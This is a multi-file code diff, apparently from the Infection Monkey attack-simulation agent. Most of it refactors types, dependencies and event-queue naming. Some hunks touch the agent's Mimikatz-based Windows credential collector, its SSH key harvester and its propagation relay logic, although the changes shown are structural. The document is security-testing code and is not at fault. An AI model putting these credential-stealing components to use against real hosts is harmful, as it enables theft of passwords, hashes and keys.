|
||||
from common.types import NetworkPort, PortStatus
|
||||
|
||||
from . import AbstractAgentEvent
|
||||
|
||||
|
||||
class TCPScanEvent(AbstractAgentEvent):
|
||||
"""
|
||||
An event that occurs when the Agent performs a TCP scan on a host
|
||||
|
||||
Attributes:
|
||||
:param target: IP address of the scanned system
|
||||
:param ports: The scanned ports and their status (open/closed)
|
||||
"""
|
||||
|
||||
target: IPv4Address
|
||||
ports: Dict[NetworkPort, PortStatus]
|
|
@ -7,7 +7,7 @@ from pydantic import validator
|
|||
|
||||
from .base_models import InfectionMonkeyBaseModel
|
||||
from .transforms import make_immutable_sequence
|
||||
from .types import HardwareID, SocketAddress
|
||||
from .types import HardwareID
|
||||
|
||||
|
||||
class AgentRegistrationData(InfectionMonkeyBaseModel):
|
||||
|
@ -15,7 +15,7 @@ class AgentRegistrationData(InfectionMonkeyBaseModel):
|
|||
machine_hardware_id: HardwareID
|
||||
start_time: datetime
|
||||
parent_id: Optional[UUID]
|
||||
cc_server: SocketAddress
|
||||
cc_server: str
|
||||
network_interfaces: Sequence[IPv4Interface]
|
||||
|
||||
_make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)(
|
||||
|
|
|
@ -1,8 +0,0 @@
|
|||
from datetime import datetime
|
||||
from typing import Optional
|
||||
|
||||
from .base_models import InfectionMonkeyBaseModel
|
||||
|
||||
|
||||
class AgentSignals(InfectionMonkeyBaseModel):
|
||||
terminate: Optional[datetime]
|
|
@ -10,11 +10,6 @@ class InfectionMonkeyModelConfig:
|
|||
extra = Extra.forbid
|
||||
|
||||
|
||||
class MutableInfectionMonkeyModelConfig(InfectionMonkeyModelConfig):
|
||||
allow_mutation = True
|
||||
validate_assignment = True
|
||||
|
||||
|
||||
class InfectionMonkeyBaseModel(BaseModel):
|
||||
class Config(InfectionMonkeyModelConfig):
|
||||
pass
|
||||
|
@ -52,5 +47,6 @@ class InfectionMonkeyBaseModel(BaseModel):
|
|||
|
||||
|
||||
class MutableInfectionMonkeyBaseModel(InfectionMonkeyBaseModel):
|
||||
class Config(MutableInfectionMonkeyModelConfig):
|
||||
pass
|
||||
class Config(InfectionMonkeyModelConfig):
|
||||
allow_mutation = True
|
||||
validate_assignment = True
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
import inspect
|
||||
from contextlib import suppress
|
||||
from typing import Any, Sequence, Type, TypeVar, no_type_check
|
||||
from typing import Any, Sequence, Type, TypeVar
|
||||
|
||||
from common.utils.code_utils import del_key
|
||||
|
||||
|
@ -15,9 +15,6 @@ class UnregisteredConventionError(ValueError):
|
|||
pass
|
||||
|
||||
|
||||
# Mypy doesn't handle cases where abstract class is passed as Type[...]
|
||||
# https://github.com/python/mypy/issues/4717
|
||||
# We are using typing.no_type_check to mitigate these errors
|
||||
class DIContainer:
|
||||
"""
|
||||
A dependency injection (DI) container that uses type annotations to resolve and inject
|
||||
|
@ -29,7 +26,6 @@ class DIContainer:
|
|||
self._instance_registry = {}
|
||||
self._convention_registry = {}
|
||||
|
||||
@no_type_check
|
||||
def register(self, interface: Type[T], concrete_type: Type[T]):
|
||||
"""
|
||||
Register a concrete `type` that satisfies a given interface.
|
||||
|
@ -59,7 +55,6 @@ class DIContainer:
|
|||
self._type_registry[interface] = concrete_type
|
||||
del_key(self._instance_registry, interface)
|
||||
|
||||
@no_type_check
|
||||
def register_instance(self, interface: Type[T], instance: T):
|
||||
"""
|
||||
Register a concrete instance that satisfies a given interface.
|
||||
|
@ -78,7 +73,6 @@ class DIContainer:
|
|||
self._instance_registry[interface] = instance
|
||||
del_key(self._type_registry, interface)
|
||||
|
||||
@no_type_check
|
||||
def register_convention(self, type_: Type[T], name: str, instance: T):
|
||||
"""
|
||||
Register an instance as a convention
|
||||
|
@ -107,7 +101,6 @@ class DIContainer:
|
|||
"""
|
||||
self._convention_registry[(type_, name)] = instance
|
||||
|
||||
@no_type_check
|
||||
def resolve(self, type_: Type[T]) -> T:
|
||||
"""
|
||||
Resolves all dependencies and returns a new instance of `type_` using constructor dependency
|
||||
|
|
|
@ -2,4 +2,3 @@ from .types import AgentEventSubscriber
|
|||
from .pypubsub_publisher_wrapper import PyPubSubPublisherWrapper
|
||||
from .i_agent_event_queue import IAgentEventQueue
|
||||
from .pypubsub_agent_event_queue import PyPubSubAgentEventQueue
|
||||
from .locking_agent_event_queue_decorator import LockingAgentEventQueueDecorator
|
||||
|
|
|
@ -1,31 +0,0 @@
|
|||
from threading import Lock
|
||||
from typing import Type
|
||||
|
||||
from common.agent_events import AbstractAgentEvent
|
||||
|
||||
from . import AgentEventSubscriber, IAgentEventQueue
|
||||
|
||||
|
||||
class LockingAgentEventQueueDecorator(IAgentEventQueue):
|
||||
"""
|
||||
Makes an IAgentEventQueue thread-safe by locking publish()
|
||||
"""
|
||||
|
||||
def __init__(self, agent_event_queue: IAgentEventQueue, lock: Lock):
|
||||
self._lock = lock
|
||||
self._agent_event_queue = agent_event_queue
|
||||
|
||||
def subscribe_all_events(self, subscriber: AgentEventSubscriber):
|
||||
self._agent_event_queue.subscribe_all_events(subscriber)
|
||||
|
||||
def subscribe_type(
|
||||
self, event_type: Type[AbstractAgentEvent], subscriber: AgentEventSubscriber
|
||||
):
|
||||
self._agent_event_queue.subscribe_type(event_type, subscriber)
|
||||
|
||||
def subscribe_tag(self, tag: str, subscriber: AgentEventSubscriber):
|
||||
self._agent_event_queue.subscribe_tag(tag, subscriber)
|
||||
|
||||
def publish(self, event: AbstractAgentEvent):
|
||||
with self._lock:
|
||||
self._agent_event_queue.publish(event)
|
|
@ -4,7 +4,7 @@ import random
|
|||
import socket
|
||||
import struct
|
||||
from abc import ABCMeta, abstractmethod
|
||||
from typing import Iterable, List, Tuple
|
||||
from typing import List, Tuple
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
@ -58,7 +58,7 @@ class NetworkRange(object, metaclass=ABCMeta):
|
|||
return SingleIpRange(ip_address=address_str)
|
||||
|
||||
@staticmethod
|
||||
def filter_invalid_ranges(ranges: Iterable[str], error_msg: str) -> List[str]:
|
||||
def filter_invalid_ranges(ranges: List[str], error_msg: str) -> List[str]:
|
||||
valid_ranges = []
|
||||
for target_range in ranges:
|
||||
try:
|
||||
|
@ -193,7 +193,7 @@ class SingleIpRange(NetworkRange):
|
|||
:return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com)
|
||||
"""
|
||||
# The most common use case is to enter ip/range into "Scan IP/subnet list"
|
||||
domain_name = None
|
||||
domain_name = ""
|
||||
|
||||
if " " in string_:
|
||||
raise ValueError(f'"{string_}" is not a valid IP address or domain name.')
|
||||
|
|
|
@ -1,16 +1,12 @@
|
|||
import ipaddress
|
||||
from ipaddress import IPv4Address, IPv4Interface
|
||||
from ipaddress import IPv4Interface
|
||||
from typing import List, Optional, Sequence, Tuple
|
||||
|
||||
from netifaces import AF_INET, ifaddresses, interfaces
|
||||
|
||||
|
||||
def get_my_ip_addresses_legacy() -> Sequence[str]:
|
||||
return [str(ip) for ip in get_my_ip_addresses()]
|
||||
|
||||
|
||||
def get_my_ip_addresses() -> Sequence[IPv4Address]:
|
||||
return [interface.ip for interface in get_network_interfaces()]
|
||||
def get_my_ip_addresses() -> Sequence[str]:
|
||||
return [str(interface.ip) for interface in get_network_interfaces()]
|
||||
|
||||
|
||||
def get_network_interfaces() -> List[IPv4Interface]:
|
||||
|
|
|
@ -1,14 +0,0 @@
|
|||
from .attack import (
|
||||
T1003_ATTACK_TECHNIQUE_TAG,
|
||||
T1005_ATTACK_TECHNIQUE_TAG,
|
||||
T1021_ATTACK_TECHNIQUE_TAG,
|
||||
T1059_ATTACK_TECHNIQUE_TAG,
|
||||
T1098_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
T1145_ATTACK_TECHNIQUE_TAG,
|
||||
T1203_ATTACK_TECHNIQUE_TAG,
|
||||
T1210_ATTACK_TECHNIQUE_TAG,
|
||||
T1222_ATTACK_TECHNIQUE_TAG,
|
||||
T1570_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
|
@ -1,12 +0,0 @@
|
|||
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
|
||||
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
|
||||
T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021"
|
||||
T1059_ATTACK_TECHNIQUE_TAG = "attack-t1059"
|
||||
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
|
||||
T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105"
|
||||
T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110"
|
||||
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
|
||||
T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203"
|
||||
T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210"
|
||||
T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222"
|
||||
T1570_ATTACK_TECHNIQUE_TAG = "attack-t1570"
|
|
@ -1,94 +1,8 @@
|
|||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass
|
||||
from enum import Enum
|
||||
from ipaddress import IPv4Address
|
||||
from typing import Dict, List, Optional, Union
|
||||
from uuid import UUID
|
||||
|
||||
from pydantic import ConstrainedInt, PositiveInt
|
||||
from pydantic import PositiveInt
|
||||
from typing_extensions import TypeAlias
|
||||
|
||||
from common import OperatingSystem
|
||||
from common.base_models import InfectionMonkeyBaseModel
|
||||
from common.network.network_utils import address_to_ip_port
|
||||
|
||||
AgentID: TypeAlias = UUID
|
||||
HardwareID: TypeAlias = PositiveInt
|
||||
MachineID: TypeAlias = PositiveInt
|
||||
|
||||
JSONSerializable = Union[ # type: ignore[misc]
|
||||
Dict[str, "JSONSerializable"], # type: ignore[misc]
|
||||
List["JSONSerializable"], # type: ignore[misc]
|
||||
int,
|
||||
str,
|
||||
float,
|
||||
bool,
|
||||
None,
|
||||
]
|
||||
|
||||
|
||||
class NetworkService(Enum):
|
||||
"""
|
||||
An Enum representing network services
|
||||
|
||||
This Enum represents all network services that Infection Monkey supports. The value of each
|
||||
member is the member's name in all lower-case characters.
|
||||
"""
|
||||
|
||||
UNKNOWN = "unknown"
|
||||
|
||||
|
||||
class NetworkPort(ConstrainedInt):
|
||||
"""
|
||||
Define network port as constrainer integer.
|
||||
|
||||
To define a default value with this type:
|
||||
port: NetworkPort = typing.cast(NetworkPort, 1000)
|
||||
"""
|
||||
|
||||
ge = 0
|
||||
le = 65535
|
||||
|
||||
|
||||
@dataclass
|
||||
class PingScanData:
|
||||
response_received: bool
|
||||
os: Optional[OperatingSystem]
|
||||
|
||||
|
||||
class PortStatus(Enum):
|
||||
"""
|
||||
An Enum representing the status of the port.
|
||||
|
||||
This Enum represents the status of a network pork. The value of each
|
||||
member is the member's name in all lower-case characters.
|
||||
"""
|
||||
|
||||
OPEN = "open"
|
||||
CLOSED = "closed"
|
||||
|
||||
|
||||
class SocketAddress(InfectionMonkeyBaseModel):
|
||||
ip: IPv4Address
|
||||
port: NetworkPort
|
||||
|
||||
@classmethod
|
||||
def from_string(cls, address_str: str) -> SocketAddress:
|
||||
"""
|
||||
Parse a SocketAddress object from a string
|
||||
|
||||
:param address_str: A string of ip:port
|
||||
:raises ValueError: If the string is not a valid ip:port
|
||||
:return: SocketAddress with the IP and port
|
||||
"""
|
||||
ip, port = address_to_ip_port(address_str)
|
||||
if port is None:
|
||||
raise ValueError("SocketAddress requires a port")
|
||||
return SocketAddress(ip=IPv4Address(ip), port=int(port))
|
||||
|
||||
def __hash__(self):
|
||||
return hash(str(self))
|
||||
|
||||
def __str__(self):
|
||||
return f"{self.ip}:{self.port}"
|
||||
|
|
|
@ -35,7 +35,6 @@ bcrypt = "==3.2.2"
|
|||
|
||||
[dev-packages]
|
||||
ldap3 = "*"
|
||||
mypy = "*"
|
||||
|
||||
[requires]
|
||||
python_version = "3.7"
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
{
|
||||
"_meta": {
|
||||
"hash": {
|
||||
"sha256": "f9abf32c9cb2724beb6b120c657d79fde001468eeab93775dc0fc31bf6eaa3d9"
|
||||
"sha256": "5e9fbd68544462c51d9b31787a43522f1e39978044952717a42de8aee1844917"
|
||||
},
|
||||
"pipfile-spec": 6,
|
||||
"requires": {
|
||||
|
@ -243,7 +243,7 @@
|
|||
"sha256:0f7569a4a6ff151958b64304071d370daa3243d15941a7beedf0c9fe5105603e",
|
||||
"sha256:a851e51367fb93e9e1361732c1d60dab63eff98712e503ea7d92e6eccb109b4f"
|
||||
],
|
||||
"markers": "python_version >= '3.6' and python_version < '4'",
|
||||
"markers": "python_version >= '3.6' and python_version < '4.0'",
|
||||
"version": "==2.2.1"
|
||||
},
|
||||
"egg-timer": {
|
||||
|
@ -1040,42 +1040,6 @@
|
|||
],
|
||||
"version": "==2.9.1"
|
||||
},
|
||||
"mypy": {
|
||||
"hashes": [
|
||||
"sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655",
|
||||
"sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9",
|
||||
"sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3",
|
||||
"sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6",
|
||||
"sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0",
|
||||
"sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58",
|
||||
"sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103",
|
||||
"sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09",
|
||||
"sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417",
|
||||
"sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56",
|
||||
"sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2",
|
||||
"sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856",
|
||||
"sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0",
|
||||
"sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8",
|
||||
"sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27",
|
||||
"sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5",
|
||||
"sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71",
|
||||
"sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27",
|
||||
"sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe",
|
||||
"sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca",
|
||||
"sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf",
|
||||
"sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9",
|
||||
"sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==0.971"
|
||||
},
|
||||
"mypy-extensions": {
|
||||
"hashes": [
|
||||
"sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d",
|
||||
"sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8"
|
||||
],
|
||||
"version": "==0.4.3"
|
||||
},
|
||||
"pyasn1": {
|
||||
"hashes": [
|
||||
"sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359",
|
||||
|
@ -1093,52 +1057,6 @@
|
|||
"sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3"
|
||||
],
|
||||
"version": "==0.4.8"
|
||||
},
|
||||
"tomli": {
|
||||
"hashes": [
|
||||
"sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc",
|
||||
"sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"
|
||||
],
|
||||
"markers": "python_version < '3.11'",
|
||||
"version": "==2.0.1"
|
||||
},
|
||||
"typed-ast": {
|
||||
"hashes": [
|
||||
"sha256:0261195c2062caf107831e92a76764c81227dae162c4f75192c0d489faf751a2",
|
||||
"sha256:0fdbcf2fef0ca421a3f5912555804296f0b0960f0418c440f5d6d3abb549f3e1",
|
||||
"sha256:183afdf0ec5b1b211724dfef3d2cad2d767cbefac291f24d69b00546c1837fb6",
|
||||
"sha256:211260621ab1cd7324e0798d6be953d00b74e0428382991adfddb352252f1d62",
|
||||
"sha256:267e3f78697a6c00c689c03db4876dd1efdfea2f251a5ad6555e82a26847b4ac",
|
||||
"sha256:2efae9db7a8c05ad5547d522e7dbe62c83d838d3906a3716d1478b6c1d61388d",
|
||||
"sha256:370788a63915e82fd6f212865a596a0fefcbb7d408bbbb13dea723d971ed8bdc",
|
||||
"sha256:39e21ceb7388e4bb37f4c679d72707ed46c2fbf2a5609b8b8ebc4b067d977df2",
|
||||
"sha256:3e123d878ba170397916557d31c8f589951e353cc95fb7f24f6bb69adc1a8a97",
|
||||
"sha256:4879da6c9b73443f97e731b617184a596ac1235fe91f98d279a7af36c796da35",
|
||||
"sha256:4e964b4ff86550a7a7d56345c7864b18f403f5bd7380edf44a3c1fb4ee7ac6c6",
|
||||
"sha256:639c5f0b21776605dd6c9dbe592d5228f021404dafd377e2b7ac046b0349b1a1",
|
||||
"sha256:669dd0c4167f6f2cd9f57041e03c3c2ebf9063d0757dc89f79ba1daa2bfca9d4",
|
||||
"sha256:6778e1b2f81dfc7bc58e4b259363b83d2e509a65198e85d5700dfae4c6c8ff1c",
|
||||
"sha256:683407d92dc953c8a7347119596f0b0e6c55eb98ebebd9b23437501b28dcbb8e",
|
||||
"sha256:79b1e0869db7c830ba6a981d58711c88b6677506e648496b1f64ac7d15633aec",
|
||||
"sha256:7d5d014b7daa8b0bf2eaef684295acae12b036d79f54178b92a2b6a56f92278f",
|
||||
"sha256:98f80dee3c03455e92796b58b98ff6ca0b2a6f652120c263efdba4d6c5e58f72",
|
||||
"sha256:a94d55d142c9265f4ea46fab70977a1944ecae359ae867397757d836ea5a3f47",
|
||||
"sha256:a9916d2bb8865f973824fb47436fa45e1ebf2efd920f2b9f99342cb7fab93f72",
|
||||
"sha256:c542eeda69212fa10a7ada75e668876fdec5f856cd3d06829e6aa64ad17c8dfe",
|
||||
"sha256:cf4afcfac006ece570e32d6fa90ab74a17245b83dfd6655a6f68568098345ff6",
|
||||
"sha256:ebd9d7f80ccf7a82ac5f88c521115cc55d84e35bf8b446fcd7836eb6b98929a3",
|
||||
"sha256:ed855bbe3eb3715fca349c80174cfcfd699c2f9de574d40527b8429acae23a66"
|
||||
],
|
||||
"markers": "python_version < '3.8'",
|
||||
"version": "==1.5.4"
|
||||
},
|
||||
"typing-extensions": {
|
||||
"hashes": [
|
||||
"sha256:25642c956049920a5aa49edcdd6ab1e06d7e5d467fc00e0506c44ac86fbfca02",
|
||||
"sha256:e6d2677a32f47fc7eb2795db1dd15c1f34eff616bcaf2cfb5e997f854fa1c4a6"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==4.3.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -79,8 +79,8 @@ class BatchingAgentEventForwarder:
|
|||
try:
|
||||
logger.debug(f"Sending Agent events to Island: {events}")
|
||||
self._island_api_client.send_events(events)
|
||||
except Exception:
|
||||
logger.exception("Exception caught when connecting to the Island")
|
||||
except Exception as err:
|
||||
logger.warning(f"Exception caught when connecting to the Island: {err}")
|
||||
|
||||
def _send_remaining_events(self):
|
||||
self._send_events_to_island()
|
|
@ -1,5 +0,0 @@
|
|||
from .notify_relay_on_propagation import notify_relay_on_propagation
|
||||
from .agent_event_forwarder import AgentEventForwarder
|
||||
from .add_stolen_credentials_to_repository import (
|
||||
add_stolen_credentials_to_propagation_credentials_repository,
|
||||
)
|
|
@ -1,31 +0,0 @@
|
|||
import logging
|
||||
from typing import Optional
|
||||
|
||||
from common.agent_events import PropagationEvent
|
||||
from infection_monkey.network.relay import TCPRelay
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class notify_relay_on_propagation:
|
||||
"""
|
||||
Notifies a TCPRelay of potential relay users if propagation is successful
|
||||
"""
|
||||
|
||||
def __init__(self, tcp_relay: Optional[TCPRelay]):
|
||||
"""
|
||||
:param tcp_relay: A TCPRelay to notify on successful propagation
|
||||
"""
|
||||
self._tcp_relay = tcp_relay
|
||||
|
||||
def __call__(self, event: PropagationEvent):
|
||||
"""
|
||||
Notify a TCPRelay of potential relay users if propagation is successful
|
||||
|
||||
:param event: A `PropagationEvent`
|
||||
"""
|
||||
if self._tcp_relay is None:
|
||||
return
|
||||
|
||||
if event.success:
|
||||
self._tcp_relay.add_potential_user(event.target)
|
|
@ -7,8 +7,7 @@ import requests
|
|||
from urllib3 import disable_warnings
|
||||
|
||||
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
|
||||
from common.network.network_utils import get_my_ip_addresses_legacy
|
||||
from common.types import SocketAddress
|
||||
from common.network.network_utils import get_my_ip_addresses
|
||||
from infection_monkey.config import GUID
|
||||
from infection_monkey.island_api_client import IIslandAPIClient
|
||||
from infection_monkey.network.info import get_host_subnets
|
||||
|
@ -25,7 +24,7 @@ class ControlClient:
|
|||
# https://github.com/guardicore/monkey/blob/133f7f5da131b481561141171827d1f9943f6aec/monkey/infection_monkey/telemetry/base_telem.py
|
||||
control_client_object = None
|
||||
|
||||
def __init__(self, server_address: SocketAddress, island_api_client: IIslandAPIClient):
|
||||
def __init__(self, server_address: str, island_api_client: IIslandAPIClient):
|
||||
self.server_address = server_address
|
||||
self._island_api_client = island_api_client
|
||||
|
||||
|
@ -40,7 +39,7 @@ class ControlClient:
|
|||
monkey = {
|
||||
"guid": GUID,
|
||||
"hostname": hostname,
|
||||
"ip_addresses": get_my_ip_addresses_legacy(),
|
||||
"ip_addresses": get_my_ip_addresses(),
|
||||
"networks": get_host_subnets(),
|
||||
"description": " ".join(platform.uname()),
|
||||
"parent": parent,
|
||||
|
@ -56,6 +55,12 @@ class ControlClient:
|
|||
)
|
||||
|
||||
def send_telemetry(self, telem_category, json_data: str):
|
||||
if not self.server_address:
|
||||
logger.error(
|
||||
"Trying to send %s telemetry before current server is established, aborting."
|
||||
% telem_category
|
||||
)
|
||||
return
|
||||
try:
|
||||
telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data}
|
||||
requests.post( # noqa: DUO123
|
||||
|
@ -68,6 +73,15 @@ class ControlClient:
|
|||
except Exception as exc:
|
||||
logger.warning(f"Error connecting to control server {self.server_address}: {exc}")
|
||||
|
||||
def send_log(self, log):
|
||||
if not self.server_address:
|
||||
return
|
||||
try:
|
||||
telemetry = {"monkey_guid": GUID, "log": json.dumps(log)}
|
||||
self._island_api_client.send_log(json.dumps(telemetry))
|
||||
except Exception as exc:
|
||||
logger.warning(f"Error connecting to control server {self.server_address}: {exc}")
|
||||
|
||||
def get_pba_file(self, filename):
|
||||
try:
|
||||
return self._island_api_client.get_pba_file(filename)
|
||||
|
|
|
@ -4,7 +4,6 @@ from typing import Sequence
|
|||
from common.agent_events import CredentialsStolenEvent
|
||||
from common.credentials import Credentials, LMHash, NTHash, Password, Username
|
||||
from common.event_queue import IAgentEventQueue
|
||||
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1005_ATTACK_TECHNIQUE_TAG
|
||||
from infection_monkey.i_puppet import ICredentialCollector
|
||||
from infection_monkey.model import USERNAME_PREFIX
|
||||
from infection_monkey.utils.ids import get_agent_id
|
||||
|
@ -16,6 +15,8 @@ logger = logging.getLogger(__name__)
|
|||
|
||||
|
||||
MIMIKATZ_CREDENTIAL_COLLECTOR_TAG = "mimikatz-credentials-collector"
|
||||
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
|
||||
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
|
||||
|
||||
MIMIKATZ_EVENT_TAGS = frozenset(
|
||||
(
|
||||
|
@ -27,8 +28,8 @@ MIMIKATZ_EVENT_TAGS = frozenset(
|
|||
|
||||
|
||||
class MimikatzCredentialCollector(ICredentialCollector):
|
||||
def __init__(self, agent_event_queue: IAgentEventQueue):
|
||||
self._agent_event_queue = agent_event_queue
|
||||
def __init__(self, event_queue: IAgentEventQueue):
|
||||
self._event_queue = event_queue
|
||||
|
||||
def collect_credentials(self, options=None) -> Sequence[Credentials]:
|
||||
logger.info("Attempting to collect windows credentials with pypykatz.")
|
||||
|
@ -81,4 +82,4 @@ class MimikatzCredentialCollector(ICredentialCollector):
|
|||
stolen_credentials=collected_credentials,
|
||||
)
|
||||
|
||||
self._agent_event_queue.publish(credentials_stolen_event)
|
||||
self._event_queue.publish(credentials_stolen_event)
|
||||
|
|
|
@ -15,15 +15,13 @@ class SSHCredentialCollector(ICredentialCollector):
|
|||
SSH keys credential collector
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self, telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue
|
||||
):
|
||||
def __init__(self, telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue):
|
||||
self._telemetry_messenger = telemetry_messenger
|
||||
self._agent_event_queue = agent_event_queue
|
||||
self._event_queue = event_queue
|
||||
|
||||
def collect_credentials(self, _options=None) -> Sequence[Credentials]:
|
||||
logger.info("Started scanning for SSH credentials")
|
||||
ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._agent_event_queue)
|
||||
ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._event_queue)
|
||||
logger.info("Finished scanning for SSH credentials")
|
||||
|
||||
return ssh_handler.to_credentials(ssh_info)
|
||||
|
|
|
@ -6,11 +6,6 @@ from typing import Dict, Iterable, Sequence
|
|||
from common.agent_events import CredentialsStolenEvent
|
||||
from common.credentials import Credentials, SSHKeypair, Username
|
||||
from common.event_queue import IAgentEventQueue
|
||||
from common.tags import (
|
||||
T1003_ATTACK_TECHNIQUE_TAG,
|
||||
T1005_ATTACK_TECHNIQUE_TAG,
|
||||
T1145_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
|
||||
from infection_monkey.telemetry.attack.t1145_telem import T1145Telem
|
||||
|
@ -22,6 +17,9 @@ logger = logging.getLogger(__name__)
|
|||
|
||||
DEFAULT_DIRS = ["/.ssh/", "/"]
|
||||
SSH_CREDENTIAL_COLLECTOR_TAG = "ssh-credentials-collector"
|
||||
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
|
||||
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
|
||||
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
|
||||
|
||||
SSH_COLLECTOR_EVENT_TAGS = frozenset(
|
||||
(
|
||||
|
@ -34,7 +32,7 @@ SSH_COLLECTOR_EVENT_TAGS = frozenset(
|
|||
|
||||
|
||||
def get_ssh_info(
|
||||
telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue
|
||||
telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue
|
||||
) -> Iterable[Dict]:
|
||||
# TODO: Remove this check when this is turned into a plugin.
|
||||
if is_windows_os():
|
||||
|
@ -44,7 +42,7 @@ def get_ssh_info(
|
|||
return []
|
||||
|
||||
home_dirs = _get_home_dirs()
|
||||
ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, agent_event_queue)
|
||||
ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, event_queue)
|
||||
|
||||
return ssh_info
|
||||
|
||||
|
@ -85,7 +83,7 @@ def _get_ssh_struct(name: str, home_dir: str) -> Dict:
|
|||
def _get_ssh_files(
|
||||
user_info: Iterable[Dict],
|
||||
telemetry_messenger: ITelemetryMessenger,
|
||||
agent_event_queue: IAgentEventQueue,
|
||||
event_queue: IAgentEventQueue,
|
||||
) -> Iterable[Dict]:
|
||||
for info in user_info:
|
||||
path = info["home_dir"]
|
||||
|
@ -127,7 +125,7 @@ def _get_ssh_files(
|
|||
|
||||
collected_credentials = to_credentials([info])
|
||||
_publish_credentials_stolen_event(
|
||||
collected_credentials, agent_event_queue
|
||||
collected_credentials, event_queue
|
||||
)
|
||||
else:
|
||||
continue
|
||||
|
@ -172,7 +170,7 @@ def to_credentials(ssh_info: Iterable[Dict]) -> Sequence[Credentials]:
|
|||
|
||||
|
||||
def _publish_credentials_stolen_event(
|
||||
collected_credentials: Sequence[Credentials], agent_event_queue: IAgentEventQueue
|
||||
collected_credentials: Credentials, event_queue: IAgentEventQueue
|
||||
):
|
||||
credentials_stolen_event = CredentialsStolenEvent(
|
||||
source=get_agent_id(),
|
||||
|
@ -180,4 +178,4 @@ def _publish_credentials_stolen_event(
|
|||
stolen_credentials=collected_credentials,
|
||||
)
|
||||
|
||||
agent_event_queue.publish(credentials_stolen_event)
|
||||
event_queue.publish(credentials_stolen_event)
|
||||
|
|
|
@ -2,3 +2,6 @@ from .i_propagation_credentials_repository import IPropagationCredentialsReposit
|
|||
